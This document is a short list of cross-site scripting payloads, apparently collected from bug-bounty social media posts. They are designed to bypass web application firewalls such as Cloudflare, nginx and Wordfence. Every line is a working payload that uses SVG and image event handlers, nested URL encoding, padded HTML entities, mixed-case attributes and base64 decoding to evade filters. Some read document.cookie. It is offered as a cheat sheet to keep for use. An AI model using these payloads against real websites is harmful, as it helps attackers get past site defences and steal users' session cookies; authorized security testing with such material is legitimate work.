Cloudflare XSS WAF Bypass
<svg onx=() onload=(confirm)(1)>
New CloudFlare XSS Bypass!
<svg onload=alert%26%230000000040"1")>
<svg onx=() onload=window.alert?.()>
XSS payload to keep on your notes:
<script>alert(1)</script> -> nginx block
"><img src=x onerror=alert(1)> -> Wordfence block
ax6zt%2522%253e%253cscript%253ealert%2528document.domain%2529%253c%252fscript%253ey6uu6 -> successful execution
"Onx=() AutOfOcUs OnfOCuS=prompt(document.cookie)>
Bypass Cloudflare payload #bugbountytips #infosec #bugbounty
Bypass Cloudflare XSS payload
"><img%20src=x%20onmouseover=prompt%26%2300000000000000000040;document.cookie%26%2300000000000000000041;
#Cloudflare block alert() ,prompt(), confirm()? Just use another function to trigger #XSS lol Smiling face with open mouth and cold sweat
Payload: document.write(atob(`PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==`));
